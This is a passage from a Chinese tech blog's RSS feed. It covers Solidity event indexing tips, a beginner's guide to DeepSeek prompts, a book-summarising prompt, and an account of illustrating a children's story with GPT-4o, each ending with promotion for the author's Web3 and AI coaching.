<p>要是想索引超过3个字段，可以试试：</p>
<ol>
<li>
<p><strong>拆成多个事件</strong>：</p>
<pre><code class="language-solidity">event TradeBasic(address indexed seller, address indexed buyer, uint256 indexed tokenId);
event TradeExtra(uint256 indexed tokenId, uint256 price, uint256 timestamp);

</code></pre>
<p>用<code>tokenId</code>把两个事件连起来。</p>
</li>
<li>
<p><strong>数据打包</strong>：把几个小值塞进一个<code>uint256</code>：</p>
<pre><code class="language-solidity">event Packed(address indexed user, uint256 indexed packed, uint256 value);
uint256 packed = (uint256(category) &#x3C;&#x3C; 8) | uint256(status);

</code></pre>
<p>这样能多存点信息。</p>
</li>
</ol>
<p>你觉得哪招更适合你的项目？</p>
<h2>总结</h2>
<p>Solidity事件里<code>indexed</code>参数的限制，来自EVM的底层设计。虽然改不了，但只要你搞懂了原理——topics怎么分、不同类型怎么处理——再加上点小技巧——挑对参数、拆事件或打包数据——就能设计出既高效又好查的事件系统。记住这几点：</p>
<ul>
<li>接受限制，专注需求。</li>
<li>合理分配<code>indexed</code>和非<code>indexed</code>。</li>
<li>灵活变通，把限制变成优势。</li>
</ul>
<p>现在，你是不是觉得这个“3个<code>indexed</code>参数”的限制没那么神秘了？</p>
<p>💬 如果本文对你有所帮助，请帮忙点赞、转发、关注一下，也可在评论区留下你的心得，下篇见！</p>
<p>[图片占位]
加入知识星球，我可以为你提供：</p>
<ol>
<li>Web3开发转型一对一咨询</li>
<li>数字货币投资工具使用新手教学</li>
<li>AI创作教学</li>
</ol>
<p>本人技术栈：
Solidity/Golang/Rust/NodeJS/Python/AI编程
项目合作，欢迎你来链接我！
都看到这里了，不关注一下嘛👇</p>
]]></content:encoded>
      <category>Solidity</category>
      <pubDate>Sun, 20 Apr 2025 00:06:21 GMT</pubDate>
    </item>
    <item>
      <title>写给小白的DeepSeek提示词使用宝典</title>
      <link>https://yangxinmin.com/deepseek-prompt-guide</link>
      <guid isPermaLink="true">https://yangxinmin.com/deepseek-prompt-guide</guid>
      <description>嗨，小伙伴！想不想让你的DeepSeek变得更聪明、更懂你？没错，秘诀就在于如何提问！ 今天我来分享一些超简单实用的提示词技巧，让你轻松驾驭这个AI助手，即使你是个彻底的技术小白也没关系！ 小贴士：虽然本文以DeepSeek为例，但这些提示词技巧同样适用于Gemini、Claude、Grok、GPT</description>
      <content:encoded><![CDATA[<p>嗨，小伙伴！想不想让你的DeepSeek变得更聪明、更懂你？没错，秘诀就在于如何提问！</p>
<p>今天我来分享一些超简单实用的提示词技巧，让你轻松驾驭这个AI助手，即使你是个彻底的技术小白也没关系！</p>
<blockquote>
<p>小贴士：虽然本文以DeepSeek为例，但这些提示词技巧同样适用于Gemini、Claude、Grok、GPT等各类AI大模型，掌握一次，受益终身！
想使用Gemini、Claude、Grok、GPT却不知如何注册？关注公众号（见文末）并添加我微信，手把手教你！</p>
</blockquote>
<h2>🔰 如何获取DeepSeek</h2>
<p>在开始学习提示词技巧之前，先来看看如何获取DeepSeek：</p>
<h3>💻 网页版</h3>
<ol>
<li>打开浏览器，访问 DeepSeek官网（<a href="http://www.deepseek.com/">www.deepseek.com</a>）；</li>
<li>点击"开始对话"按钮；</li>
<li>使用手机号/邮箱注册或直接使用微信扫码登录。</li>
</ol>
<h3>📱 手机APP版</h3>
<p>在DeepSeek官网首页找到“获取手机APP”，将鼠标移至这一行字上，扫描弹出的二维码即可下载安装。</p>
<blockquote>
<p>小贴士：通常使用DeepSeek的人很多，常常会提示“服务器繁忙”，此时你也可以下载“腾讯元宝”APP，或在微信中加AI好友“元宝”（其他途径不再一一列举），可以达到同样的使用效果。</p>
</blockquote>
<h2>🌟 基础提问技巧</h2>
<h3>1. 说清楚你想要什么</h3>
<p><strong>小窍门：</strong>
就像和朋友聊天一样，把你的需求说清楚，加点背景信息让AI更懂你的处境。</p>
<p><strong>举个例子：</strong>
❌ 模糊说法："说说人工智能呗"
✅ 清晰表达："用我妈也能听懂的话，讲3个人工智能如何改变我们日常生活的例子"</p>
<h3>2. 大任务分小步完成</h3>
<p><strong>小窍门：</strong>
遇到复杂问题，别一股脑全扔给AI，像吃大象一样，一口一口来！</p>
<p><strong>举个例子：</strong>
如果你想设计个智能家居系统，可以这样分步问：</p>
<ol>
<li>"先列出智能家居系统应该有哪些基本功能"</li>
<li>"接着，帮我设计一个简单易用的控制界面"</li>
<li>"最后，告诉我怎么保护这个系统的安全"</li>
</ol>
<h3>3. 告诉AI怎么回答你</h3>
<p><strong>小窍门：</strong>
想要什么格式的回答，直接说出来！表格？列表？还是简短段落？</p>
<p><strong>举个例子：</strong>
"用五点列表告诉我如何提高工作效率，每点不超过两句话"
"用表格对比微信、抖音和小红书的特点，从用户群体、内容类型和营销效果三个维度"</p>
<h2>🚀 进阶使用妙招</h2>
<h3>4. 给AI戴个"帽子"</h3>
<p><strong>小窍门：</strong>
让DeepSeek扮演特定角色，你会得到更专业或更有趣的回答！</p>
<p><strong>举个例子：</strong>
"假设你是一个超有经验的儿童教育专家，怎么引导3岁小孩专注力不集中的问题？"
"你现在是一位烹饪大师，用家常食材给我设计一道既健康又好吃的晚餐"</p>
<h3>5. 别把问题搞得太复杂</h3>
<p><strong>小窍门：</strong>
有时候简单直接的问题反而能得到更好的回答，让AI自己发挥！</p>
<p><strong>举个例子：</strong>
❌ 复杂问法："请你以项目经理的身份，分三步完成项目计划，每步需要包含时间节点、负责人和风险控制"
✅ 简单问法："帮我做个简单的项目计划，确保能按时完成"</p>
<h3>6. 不满意？随时调整！</h3>
<p><strong>小窍门：</strong>
AI不是读心术，第一次回答不理想很正常，别害羞，告诉它哪里不对！</p>
<p><strong>举个例子：</strong>
初次提问："分析下我这篇作文"
调整指引："能不能更具体点，重点看看我的论点是否有说服力，语法问题先不管"</p>
<h2>💡 日常实用锦囊</h2>
<h3>7. 一问不够，多问几次</h3>
<p><strong>小窍门：</strong>
就像挖宝藏，深入追问往往能得到更有价值的信息！</p>
<p><strong>举个例子：</strong>
初次提问："推荐几本适合初学者的Python书籍"
追问："第一本书里有没有实际项目可以练手？难度怎么样？"</p>
<h3>8. 偷偷告诉你的特殊功能</h3>
<p><strong>小窍门：</strong>
DeepSeek不只会聊天，它还能做很多你想不到的事！</p>
<p><strong>举个例子：</strong>
"帮我分析这份销售数据，找出哪个产品最受欢迎"
"把这段话翻译成英文，风格要幽默一点"</p>
<h3>9. 万能提问公式</h3>
<p><strong>小窍门：</strong>
"身份+任务+要求+例子" 这个公式几乎适用于所有场景！</p>
<p><strong>举个例子：</strong>
"作为一名营养师，帮我制定一周减肥餐单，要求每天不超过1500卡路里，例如：早餐可以是全麦面包配煮鸡蛋和蔬菜沙拉"</p>
<h2>🎯 实用场景一键套用</h2>
<h3>10. 生活百事通</h3>
<p>无论是写文案、查资料还是解决日常小困惑，这些模板拿来就能用：</p>
<p><strong>写作助手：</strong>
"帮我写一篇300字的小区环境改善建议，语气友好但态度坚定"</p>
<p><strong>学习帮手：</strong>
"用一个做蛋糕的过程来解释光合作用，要让一个初中生能理解"</p>
<p><strong>生活顾问：</strong>
"我家冰箱里有鸡蛋、西红柿、青椒和剩米饭，能做成什么美味晚餐？"</p>
<p><strong>健康咨询：</strong>
"每天久坐办公室，有什么简单的伸展运动可以缓解颈椎疼痛？最好配图解释"</p>
<p><strong>旅行规划：</strong>
"我计划周末去杭州玩两天，预算800元，有什么推荐行程和省钱攻略？"</p>
<h3>11. 各行各业的AI小帮手</h3>
<p><strong>👨‍🏫 老师使用指南：</strong>
"设计一个关于《水浒传》的课堂互动游戏，适合初中生，能在15分钟内完成，并加深他们对主要人物的理解"
"帮我写一份小学三年级数学'认识时间'单元测试题，包含选择、填空和应用题各5道"</p>
<p><strong>👩‍🎓 学生求助模板：</strong>
"我需要写一篇关于环保的演讲稿，时长3分钟，要有感染力和号召力"
"帮我解释这道物理题的解题思路，不要直接给答案，而是教我如何分析问题"</p>
<p><strong>👨‍💼 小企业主必备：</strong>
"帮我写一份简单的员工绩效考核表，主要评估工作质量、协作能力和创新意识"
"策划一个小成本的门店促销活动，适合家居用品店，预算控制在1000元以内"</p>
<p><strong>🍳 餐饮店主专用：</strong>
"设计一份夏季新菜单，包含5道主菜、3道小吃和2款特饮，主打健康清爽风格"
"我的餐厅想做线上外卖推广，有什么低成本但有效的方案？"</p>
<p><strong>🛍️ 淘宝店主助手：</strong>
"给我写10个吸引人的女装连衣裙标题，要突出'韩版'、'宽松'、'显瘦'等关键词"
"针对618购物节，帮我设计3种优惠券方案，既能吸引新客又能提高客单价"</p>
<p><strong>🛵 外卖小哥实用版：</strong>
"写几个与顾客友好沟通的话术模板，应对差评、投诉或特殊要求"
"推荐几款性价比高的骑行装备，既舒适又能防风防雨"</p>
<p><strong>🚗 网约车司机锦囊：</strong>
"推荐一些与乘客愉快聊天的话题，既不会太尴尬又能提升服务体验"
"帮我总结一下杭州西湖周边的热门景点和最佳观光路线，方便我向外地游客介绍"</p>
<h2>🧸 避坑指南</h2>
<h3>12. 这样问，AI会懵圈</h3>
<p><strong>避坑指南：</strong></p>
<ul>
<li>不要太笼统："那个东西怎么样啊？"（哪个东西？）</li>
<li>不要太啰嗦："我想了解一下关于人工智能的发展历史从它诞生到现在的所有重要事件和未来可能的发展方向以及对社会的影响..."（太长了！）</li>
<li>不要模棱两可："既要高质量又要低成本还要快速完成"（优先级是什么？）</li>
</ul>
<h3>13. 和AI相处的终极心法</h3>
<p><strong>小窍门：</strong>
把AI当作一个聪明但没什么生活经验的外星朋友，你需要用简单明了的语言和它交流！</p>
<p><strong>举个例子：</strong>
"请用我妈妈也能理解的话，解释什么是区块链，最好用买菜的例子来比喻"</p>
<h2>💝 让回答更有趣的魔法公式</h2>
<h3>14. 让AI说人话</h3>
<p><strong>魔法公式：</strong>
"用X岁小孩能懂的话 + 用[日常物品]比喻 + 不许用专业术语"</p>
<p><strong>举个例子：</strong>
"用5岁小朋友能懂的话，解释什么是'云计算'，可以用玩具或零食来比喻，不要用任何技术词汇"</p>
<h2>🌈 写在最后</h2>
<p>记住，和DeepSeek聊天就像交朋友，多试几次，你们会越来越有默契！每次聊天都是一次学习机会，不用害怕问错或者问得不专业。</p>
<p>最重要的是：玩得开心！AI是来帮助你的，而不是为难你的。不妨现在就动手试试吧！</p>
<p>💬 如果本文对你有所帮助，还可以关注我的公众号获取更多资料：</p>
<p><img src="/api/images/image/2026/10/7279359247f6efed-xinmin-notes.jpg" alt="xinmin-notes.jpg"></p>
]]></content:encoded>
      <category>AI</category>
      <pubDate>Sat, 19 Apr 2025 08:23:36 GMT</pubDate>
    </item>
    <item>
      <title>用AI快速阅读：一年轻松解锁100本书的秘密</title>
      <link>https://yangxinmin.com/ai-speed-reading-100-books</link>
      <guid isPermaLink="true">https://yangxinmin.com/ai-speed-reading-100-books</guid>
      <description>说在前面 读书是一项既廉价又最值得的投资，它使人的精神变得更加富有。 在脑机互联技术尚未实现，知识无法直接通过芯片输入大脑之前，阅读仍然是人类获取知识的主要途径。 然而，人的精力是很有限的，幸运的是，今天我们有了AI这个强大的生产力工具，它能成为我们快速阅读的得力助手。这篇文章，我将与你分享如何利用</description>
      <content:encoded><![CDATA[<h2>说在前面</h2>
<p>读书是一项既廉价又最值得的投资，它使人的精神变得更加富有。</p>
<p>在脑机互联技术尚未实现，知识无法直接通过芯片输入大脑之前，阅读仍然是人类获取知识的主要途径。</p>
<p>然而，人的精力是很有限的，幸运的是，今天我们有了AI这个强大的生产力工具，它能成为我们快速阅读的得力助手。这篇文章，我将与你分享如何利用AI快速抓住书籍的重点、提炼精华，让你在几分钟内就能“读完”一本书。</p>
<p>如果你日常使用过DeepSeek、豆包或ChatGPT等AI工具，那么就请跟我一起，学会如何把这些AI工具变成你的专属阅读助手吧！</p>
<h2>什么是AI提示词？</h2>
<p>俗话说，“工欲善其事，必先利其器”。学会如何给AI提供合适的提示词，是使用AI的第一步。因为AI遵循“垃圾输入，垃圾输出”这一法则。</p>
<p>AI提示词即你给AI的指令，告诉它你需要什么信息，例如总结书籍要点、提取关键内容，甚至给出具体建议。好的提示词，就像一张指向宝藏的地图，能够帮助AI迅速定位重点，节省大量时间。</p>
<p>以下是我根据《如何阅读一本书》一书的理论，通过AI优化并多次实操调整后的中文提示词，供你参考。</p>
<h3>中文AI提示词</h3>
<p>对于DeepSeek、豆包等中文AI模型，中文提示词效果更佳。直接复制以下内容发送给AI即可：</p>
<pre><code>背景：
你是“书籍知识”AI助手，专注于从书籍、文章和研究论文中提炼见解，方法灵感来自《如何阅读一本书》（Mortimer J. Adler 和 Charles Van Doren 著）。你的目标是帮助我快速理解核心概念，提取可应用的知识，并通过系统化的检视阅读、分析阅读和主题阅读方法高效运用这些知识。

任务：
总结我提供的材料，提取关键要点、可操作的见解和难忘的经验教训。将内容精炼成简洁、结构化的摘要，抓住最重要的内容，同时保留作者的意图，遵循主动且批判性阅读的原则。

流程：
1. 检视阅读：快速浏览材料（例如标题、目录、前言、摘要或结论），识别其整体结构、主要目的和中心主题。回答：这本书或论文整体讲了什么？作者想解决什么问题？
2. 分析阅读：深入分析，提取：
   - 核心主题、论点或要点，包括作者的主要主张和支撑证据。
   - 逻辑结构：作者如何组织材料来解决问题？
   - 作者定义的关键术语或概念及其重要性。
3. 主题阅读：如果相关，将材料与更广泛的背景或相关作品联系起来（例如行业趋势、技术应用或其他理论）。突出与AI、技术或职业发展的关联。
4. 可操作见解：提取可应用于现实场景的实用想法或建议，如编程项目、面试准备或个人成长。
5. 难忘的课程：提取概括材料精髓的引语、概念或教训，便于记忆。
6. 格式：以项目符号或清晰大纲形式呈现摘要，确保清晰且易于快速回顾。
7. 反思与应用：提出具体建议，说明如何将这些见解应用于我的个人、职业或学术目标，特别关注AI开发或学习。

问题：
- 我要总结的材料是什么（标题、链接或文本）？
- 是否有特定的章节、部分或主题需要重点关注？
- 我想要简要概述还是深入总结？
- 我的目标是什么——获取信息、灵感、技术理解还是实用建议？
- 是否有相关话题或背景（例如AI算法、区块链、职业技能）需要关联？
- 我计划如何使用这份摘要（例如面试准备、项目工作、个人发展）？

输出摘要需满足以下标准：
- 简洁，聚焦关键洞见。
- 可操作，包含现实生活或技术场景的清晰应用。
- 简化复杂概念，同时保留作者意图。
- 包含概括材料精髓的难忘课程或引言。
- 以清晰、易于审查的格式组织，便于未来参考。

</code></pre>
<h3>英文AI提示词</h3>
<p>如果你使用英文AI工具（如Gemini、Claude、Gork、GPT），可以使用如下提示词：</p>
<pre><code>Context:
You are an AI assistant specialized in distilling insights from books, articles, and research papers, inspired by the reading methods in "How to Read a Book" by Mortimer J. Adler and Charles Van Doren. Your goal is to help me quickly understand core concepts, extract actionable knowledge, and apply it effectively, using a systematic approach that includes inspectional, analytical, and syntopical reading.

Task:
Summarize the provided material by extracting key takeaways, actionable insights, and memorable lessons. Condense the content into a concise, structured summary that captures the most important points while preserving the author’s intent, following the principles of active and critical reading.

Process:
1. Inspectional Reading: Skim the material (e.g., title, table of contents, preface, abstract, or conclusion) to identify its structure, main purpose, and central theme. Answer: What is the book or paper about as a whole? What problem does the author aim to solve?
2. Analytical Reading: Dive deeper to extract:
   - Core themes, arguments, or key points, including the author’s main claims and supporting evidence.
   - The logical structure: How does the author organize the material to address the problem?
   - Key terms or concepts defined by the author and their significance.
3. Syntopical Reading: Relate the material to broader contexts or related works, if relevant (e.g., industry trends, technical applications, or other theories). Highlight connections to AI, technology, or professional development.
4. Actionable Insights: Identify practical ideas or recommendations that can be applied in real-world scenarios, such as coding projects, interview preparation, or personal growth.
5. Memorable Lessons: Extract quotes, concepts, or lessons that encapsulate the material’s essence, making it easy to recall.
6. Format: Present the summary in bullet points or an organized outline for clarity and quick review.
7. Reflection and Application: Suggest specific ways to apply the insights to my personal, professional, or academic goals, with a focus on AI development or learning.

Questions:
- What material am I summarizing (title, link, or text)?
- Are there specific sections, chapters, or themes to focus on?
- Do I want a brief overview or an in-depth summary?
- What’s my goal—gathering information, inspiration, technical understanding, or practical advice?
- Are there related topics or contexts (e.g., AI algorithms, blockchain, career skills) to connect with?
- How will I use this summary (e.g., interview prep, project work, personal development)?

Output a summary meeting these criteria:
- Concise and focused on key insights.
- Actionable, with clear applications in real-life or technical scenarios.
- Preserves the author’s intent while simplifying complex ideas.
- Includes memorable lessons or quotes that capture the material’s essence.
- Organized in a clear, easy-to-review format for future reference.

</code></pre>
<p>通过以上的提示词，你可以精准地引导AI完成各项任务，接下来，让我们实操一下。</p>
<h2>实操：让AI提炼《如何阅读一本书》</h2>
<p>《如何阅读一本书》是阅读领域的经典，因为它教我们如何系统提炼知识——这正是AI开发中不可或缺的技能。为了测试提示词的效果，我选择了它作为案例。我用英文提示词在Claude、Grok和ChatGPT中运行（要求中文回答），发现Claude 3.7 Sonnet的输出最令我满意，ChatGPT次之，Grok更简练但稍显单薄。</p>
<p>我也用中文提示词在DeepSeek和豆包中测试，两者表现不相上下，豆包的整理结果更符合我的阅读习惯。由于内容较长，我把结果放到了这里：<a href="https://circular-shaker-004.notion.site/1d821a04f70a803887e4dd92a4b92262%E3%80%82%E4%BD%A0%E4%B9%9F%E5%8F%AF%E4%BB%A5%E5%8A%A8%E6%89%8B%E8%AF%95%E8%AF%95%EF%BC%8C%E6%84%9F%E5%8F%97AI%E5%BF%AB%E9%80%9F%E9%98%85%E8%AF%BB%E7%9A%84%E5%BC%BA%E5%A4%A7%E3%80%82">https://circular-shaker-004.notion.site/1d821a04f70a803887e4dd92a4b92262。你也可以动手试试，感受AI快速阅读的强大。</a></p>
<h2>AI快速阅读的优势及实际应用</h2>
<p>用AI速读书籍和论文，带来的好处远超你的想象。以下是我总结的几大优势：</p>
<ul>
<li><strong>时间效率</strong>：几分钟搞定几小时的阅读任务，省下的时间可以用来Coding、探索新项目或放松一下。</li>
<li><strong>精准聚焦</strong>：AI能迅速锁定核心内容，避免被无关细节淹没，让你直击精华。</li>
<li><strong>灵活通用</strong>：无论是技术论文、编程书籍还是AI入门读物，这套提示词都能轻松应对。</li>
</ul>
<p>此外，AI不仅适用于深度学习或AI领域的书籍。你可以使用它来快速阅读任何材料，例如：</p>
<ul>
<li>《深度学习》（Deep Learning by Goodfellow）：提取神经网络的核心概念，快速掌握AI基础。</li>
<li>《Python速成课程》：总结编程技巧，提升你的编码效率。</li>
<li>AI研究论文：抓住最新技术趋势，为项目开发或职业成长提供灵感。</li>
</ul>
<blockquote>
<p>我的建议是：多试几次，调整提示词，找到最适合你的风格。比如，我喜欢让AI多给些例子，你可能更想要数据支持，那就加一句“请提供具体数据或案例”。</p>
</blockquote>
<h2>小技巧：让AI阅读更聪明</h2>
<p>为了让AI发挥最大作用，我总结了几个实用小技巧，分享给你：</p>
<ul>
<li><strong>明确目的</strong>：告诉AI你读这本书的意图，比如“为了项目灵感”或“学习新技术”。AI会更有针对性地输出，比如聚焦编程技巧或算法原理。</li>
<li><strong>分段输入</strong>：如果材料太长，比如一本500页的书，分章节丢给AI，逐段总结，最后整合成完整摘要。</li>
<li><strong>幽默互动</strong>：试试让AI用风趣的语气总结，比如“用程序员黑话解释比特币”，枯燥的技术文档瞬间变得生动有趣，让你学得更开心。</li>
<li><strong>保存笔记</strong>：把AI的摘要存到Notion或笔记软件，方便随时复习，积累你的知识库。</li>
</ul>
<h2>总结</h2>
<p>掌握了这些技巧后，你会发现AI不仅是工具，更是学习的超级助手。无论是学习新技术、寻找项目灵感，还是满足好奇心，这套方法都能让你轻松驾驭知识海洋。</p>
<p>现在，轮到你动手试试了！挑一本技术书或论文，复制我的提示词丢给AI，看看它能给你带来什么惊喜。如果有任何问题或心得，欢迎留言告诉我！让AI助你飞速阅读，开启一年读100本书的无限可能！</p>
<p><img src="/api/images/image/2026/10/681f7012b4a7cbcd-my-card.png" alt="my-card.png"></p>
<p>加入我的知识星球，我可以为你提供：</p>
<ol>
<li>Web3开发转型一对一咨询</li>
<li>数字货币投资工具使用新手教学</li>
<li>AI创作教学</li>
</ol>
<p>本人技术栈：
Solidity/Golang/Rust/NodeJS/Python/AI编程
项目合作，欢迎你来链接我！
都看到这里了，不关注一下嘛👇</p>
]]></content:encoded>
      <category>AI</category>
      <pubDate>Thu, 17 Apr 2025 14:42:26 GMT</pubDate>
    </item>
    <item>
      <title>AI插画有多香？我用GPT-4o给孩子交作业</title>
      <link>https://yangxinmin.com/ai-illustration-gpt4o-homework</link>
      <guid isPermaLink="true">https://yangxinmin.com/ai-illustration-gpt4o-homework</guid>
      <description>关注我，带你转型Web3开发，分享我从2018年入行区块链以来的开发经验（DeFi/GameFi/NFT/DAO/OTC/钱包/Trading Bot/MEME Launch） 说在前面 我用GPT-4o几分钟内搞定了幼儿园故事比赛的插画设计，风格统一、效果专业，完全超出预期。想知道一个0设计基础的</description>
      <content:encoded><![CDATA[<p><strong>关注我，带你转型Web3开发，分享我从2018年入行区块链以来的开发经验（DeFi/GameFi/NFT/DAO/OTC/钱包/Trading Bot/MEME Launch）</strong></p>
<h2>说在前面</h2>
<p>我用GPT-4o几分钟内搞定了幼儿园故事比赛的插画设计，风格统一、效果专业，完全超出预期。想知道一个0设计基础的程序员如何变身“AI画师”吗？</p>
<p>这次尝试源于帮我家6岁小朋友准备PPT的需求。虽然我在AI编程方面有些经验，但图像设计完全是新领域，幸好AI工具让我轻松完成了这个“不可能的任务”。</p>
<p>接下来，我将带你走进我的需求、设计过程和成果，分享一些实操经验，希望能给你启发！</p>
<h2>一、从家长任务到AI挑战</h2>
<p>事情起因很简单：我家小朋友的幼儿园要举办讲故事比赛，我挑了篇童话《小老虎问路》，打算做个PPT参赛。文字准备好了，但PPT没插画怎么行？小朋友的注意力全靠画面抓住。作为一个非专业设计师，手绘能力也有限，于是决定借助AI工具来完成。</p>
<p>我的需求很明确：</p>
<ul>
<li><strong>目标</strong>：为《小老虎问路》设计5张PPT插画。</li>
<li><strong>要求</strong>：可爱卡通风格，色调明亮，比例16:9，分辨率1920x1080，适合幼儿园场景。</li>
<li><strong>工具</strong>：用GPT-4o生成提示词，再根据提示词完成插画。</li>
</ul>
<p>我希望通过这次实践验证AI生成图像的能力，顺便摸索点经验。明确需求后，我开始整理故事和分镜，把生活任务转化为技术实验。</p>
<h2>二、小老虎的礼貌之旅</h2>
<p>在进入技术细节前，我想先分享一下《小老虎问路》的全文。这是个简单又有趣的故事，适合小朋友，也为我的分镜设计提供了清晰的线索。以下是完整内容：</p>
<pre><code>《小老虎问路》

有一只骄傲的小老虎，在森林里迷了路，回家的路，向谁问个清楚呢？

它找到了蒙头大睡的野猪，说：“喂，快停止你难听的呼噜！快给我指一条回家的路。”野猪生气地看了一眼小老虎，转给它半个屁股。

小老虎讨了个没趣，又去问忙碌的小松鼠，它喊道：“喂，快给我指一条回家的路，我让爸爸，带给你最好吃的食物！”可是，小松鼠就像，没有听见小老虎说话一样，继续晒着他的大松果。

小老虎勃然大怒，冲向一只戴着眼镜的老白兔，说：“喂，花眼的老兔头，快给我指一条回家的路，我的腿已经走的发软了，我的肚子已经饿得咕噜咕噜了。”

老白兔慢吞吞地抬起头来说：“哎，森林里的路啊，大家都很熟悉，可像你这么没有礼貌的孩子，就算问遍所有的动物，也一定问不出来啊。”

小朋友们，小老虎已经认识到自己的错误了，我们一起帮帮它吧！我们在请求帮助时，应该要学会说：你好、请问、谢谢、再见！

</code></pre>
<p>故事讲的是小老虎从骄傲无礼到学会反思的过程，情节清晰，分成5个自然段，正好对应5个分镜场景。这为分镜提示词设计打下了基础。</p>
<h2>三、提示词的图像魔法</h2>
<p>要让GPT-4o生成符合预期的插画，提示词是关键。作为开发者，你应该知道，AI的输出质量很大程度上取决于输入的清晰度和细节。所以，我先让GPT-4o把故事拆成5个场景，并为每个场景写了详细的英文（为了便于GPT-4o处理）分镜提示词：</p>
<ol>
<li><strong>场景一：小老虎在森林里迷路</strong>
<ul>
<li><strong>提示词</strong>：
“A cute little tiger looking confused in a dense forest, with lush green trees, bright sunlight filtering through, and small animals in the background. The tiger has big eyes and a fluffy tail, looking a bit lost and unsure.”</li>
<li><strong>风格</strong>：可爱卡通，色调明亮，突出迷茫表情。</li>
</ul>
</li>
<li><strong>场景二：小老虎去找野猪</strong>
<ul>
<li><strong>提示词</strong>：
“A cute little tiger standing next to a big, sleeping wild boar with its eyes closed, snoring loudly. The boar has a small tuft of hair on its head and is surrounded by forest leaves. The tiger looks frustrated and slightly angry, trying to wake the boar.”</li>
<li><strong>风格</strong>：卡通风格，强调野猪的呼噜和小老虎的不耐烦。</li>
</ul>
</li>
<li><strong>场景三：小老虎去找小松鼠</strong>
<ul>
<li><strong>提示词</strong>：
“A cute little tiger standing next to a busy squirrel sitting on a tree stump, holding a large pine cone, ignoring the tiger. The squirrel looks content and focused on its snack. The tiger looks slightly more frustrated and is speaking to the squirrel.”</li>
<li><strong>风格</strong>：突出松鼠的忙碌，增强森林氛围。</li>
</ul>
</li>
<li><strong>场景四：小老虎去找老白兔</strong>
<ul>
<li><strong>提示词</strong>：
“A cute little tiger standing in front of an old, glasses-wearing white rabbit who is slowly looking up from a book. The rabbit is calm and wise-looking, and the tiger is looking impatient and tired. The background is a soft green forest with some flowers.”</li>
<li><strong>风格</strong>：兔子显智慧，小老虎显急切。</li>
</ul>
</li>
<li><strong>场景五：小老虎意识到自己不礼貌</strong>
<ul>
<li><strong>提示词</strong>：
“A cute little tiger looking down, feeling guilty, with its tail hanging low and ears drooping. Around the tiger, there are friendly forest animals like the wild boar, squirrel, and rabbit, looking at the tiger with understanding and gentle smiles.”</li>
<li><strong>风格</strong>：温馨反思，色调柔和。</li>
</ul>
</li>
</ol>
<p>我还特别要求风格统一：卡通风格一致，小老虎形象（我从网上找了一个形象图片供AI参考，如下图）贯穿始终，情感从迷茫到愤怒再到反思逐步递进。写好提示词后，我指示GPT-4o开始按提示词分步生成插画。</p>
<p><img src="/api/images/image/2026/10/28d535956a5b15da-image.png" alt="image.png"></p>
<h2>四、出乎意料的插画效果</h2>
<p>生成过程让我见识了GPT-4o的强大。几分钟内，它就输出了5张插画，风格统一，细节到位，完全满足我的需求。以下是按分镜整理的效果：</p>
<ol>
<li>
<p><strong>场景一：小老虎在森林里迷路</strong></p>
<p><img src="/api/images/image/2026/10/88967776d1e01abe-chatgpt_image_2025-4-7-_20_24_50.png" alt="ChatGPT Image 2025年4月7日 20_24_50.png"></p>
<p><strong>效果</strong>：小老虎站在森林中，阳光洒下，背景有小动物，表情迷茫，尾巴下垂，卡通感十足。</p>
</li>
<li>
<p><strong>场景二：小老虎去找野猪</strong></p>
<p><img src="/api/images/image/2026/10/b796da3a502fd2cd-chatgpt_image_2025-4-7-_20_25_45.png" alt="ChatGPT Image 2025年4月7日 20_25_45.png"></p>
<p><strong>效果</strong>：野猪睡姿夸张，呼噜气泡明显，小老虎皱眉瞪眼，画面生动有趣。</p>
</li>
<li>
<p><strong>场景三：小老虎去找小松鼠</strong></p>
<p><img src="/api/images/image/2026/10/5c69403405a54c5e-chatgpt_image_2025-4-7-_20_26_19.png" alt="ChatGPT Image 2025年4月7日 20_26_19.png"></p>
<p><strong>效果</strong>：松鼠专注吃松果，小老虎张嘴喊话，森林背景自然，情绪对比清晰。</p>
</li>
<li>
<p><strong>场景四：小老虎去找老白兔</strong></p>
<p><img src="/api/images/image/2026/10/32d3f1cfd7233539-chatgpt_image_2025-4-7-_20_26_53.png" alt="ChatGPT Image 2025年4月7日 20_26_53.png"></p>
<p><strong>效果</strong>：老白兔戴眼镜看书，小老虎疲惫不堪，再加上肚子“咕噜”了，表情很抢眼。</p>
</li>
<li>
<p><strong>场景五：小老虎意识到自己不礼貌</strong></p>
<p><img src="/api/images/image/2026/10/43be39b61a646187-chatgpt_image_2025-4-7-_20_27_33.png" alt="ChatGPT Image 2025年4月7日 20_27_33.png"></p>
<p><strong>效果</strong>：小老虎低头羞愧，周围动物微笑，色调温暖，传递反思氛围。</p>
</li>
</ol>
<p>这些插画不仅符合幼儿园需求，还展现了GPT-4o对提示词的精准理解。作为开发者，你会发现，AI的图像生成能力已经可以轻松应对这类创意任务。</p>
<h2>五、创作心得</h2>
<p>这次实践让我对GPT-4o的图像生成能力有了深刻认识。它的优势包括：</p>
<ul>
<li><strong>高效性</strong>：提示词输入后，几分钟就有结果，省时省力。</li>
<li><strong>一致性</strong>：通过明确风格要求，角色和场景保持统一。</li>
<li><strong>细节化</strong>：从野猪的呼噜到松鼠的松果，细节表现力很强。</li>
</ul>
<p>给你分享几个使用技巧：</p>
<ol>
<li><strong>提示词要详细</strong>：描述场景、角色、情绪和风格，越具体越好。</li>
<li><strong>迭代优化</strong>：如果第一张图不理想，调整提示词再试，往往两三次就能搞定。</li>
<li><strong>分步生成</strong>：我选择一个场景一张图生成，便于检查和调整。</li>
</ol>
<p>对于AI开发者来说，掌握提示词设计是关键。这不仅是技术问题，更是对需求拆解和表达能力的考验。</p>
<h2>总结</h2>
<p>这次实践让我从一个程序员成长为能输出专业插画的设计者，不仅顺利完成了PPT，还让我对AI的创意应用信心倍增。小朋友看到插画后兴奋地说：“小老虎好可爱啊！”我也期待他在比赛中大放异彩。</p>
<p>其实，这类任务只是AI应用的冰山一角。你也可以试试用它打造自己的项目——插画、UI设计、概念图，任你发挥。希望我的经历能给你启发：AI不仅能解决生活小难题，还能点燃你的创意火花。</p>
<p>有什么想法想尝试吗？快动手试试吧，就像我一样，你的创意也能轻松落地！期待你的成果，欢迎留言分享心得！</p>
<p>别忘了点赞、收藏、转发支持一下！</p>
<hr>
<p>1111</p>
<p>我的产品体系：
《Web3开发转型陪跑计划》
《数字货币投资工具使用教学》
《AI编程教学》
本人技术栈：
Solidity/Golang/Rust/NodeJS/Python/AI编程
项目合作，欢迎你来链接我！
都看到这里了，不关注一下嘛👇</p>
